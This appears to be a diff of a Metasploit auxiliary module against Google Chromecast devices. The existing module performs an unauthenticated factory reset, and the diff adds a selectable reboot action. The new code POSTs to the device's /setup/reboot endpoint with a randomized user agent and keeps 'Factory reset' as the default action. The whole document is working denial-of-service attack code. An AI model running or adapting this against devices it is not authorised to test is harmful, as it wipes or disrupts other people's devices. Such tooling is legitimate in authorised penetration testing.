@@ -20,7 +20,12 @@ def initialize(info = {})
20
20
'References' => [
21
21
[ 'URL' , 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html' ] # vendor website
22
22
] ,
23
- 'License' => MSF_LICENSE
23
+ 'License' => MSF_LICENSE ,
24
+ 'Actions' => [
25
+ [ 'Reset' , 'Description' => 'Factory reset' ] ,
26
+ [ 'Reboot' , 'Description' => 'Reboot only' ]
27
+ ] ,
28
+ 'DefaultAction' => 'Reset'
24
29
) )
25
30
26
31
register_options ( [
@@ -29,10 +34,15 @@ def initialize(info = {})
29
34
end
30
35
31
36
def run
32
- res = reset
37
+ case action . name
38
+ when 'Reset'
39
+ res = reset
40
+ when 'Reboot'
41
+ res = reboot
42
+ end
33
43
34
44
if res && res . code == 200
35
- print_good ( 'Factory reset performed' )
45
+ print_good ( " #{ action . name } performed" )
36
46
elsif res
37
47
print_error ( "An error occurred: #{ res . code } #{ res . message } " )
38
48
end
@@ -55,4 +65,21 @@ def reset
55
65
end
56
66
end
57
67
68
+ def reboot
69
+ begin
70
+ send_request_raw (
71
+ 'method' => 'POST' ,
72
+ 'uri' => '/setup/reboot' ,
73
+ 'agent' => Rex ::Text . rand_text_english ( rand ( 42 ) + 1 ) ,
74
+ 'ctype' => 'application/json' ,
75
+ 'data' => '{"params": "now"}'
76
+ )
77
+ rescue Rex ::ConnectionRefused , Rex ::ConnectionTimeout ,
78
+ Rex ::HostUnreachable => e
79
+ fail_with ( Failure ::Unreachable , e )
80
+ ensure
81
+ disconnect
82
+ end
83
+ end
84
+
58
85
end
0 commit comments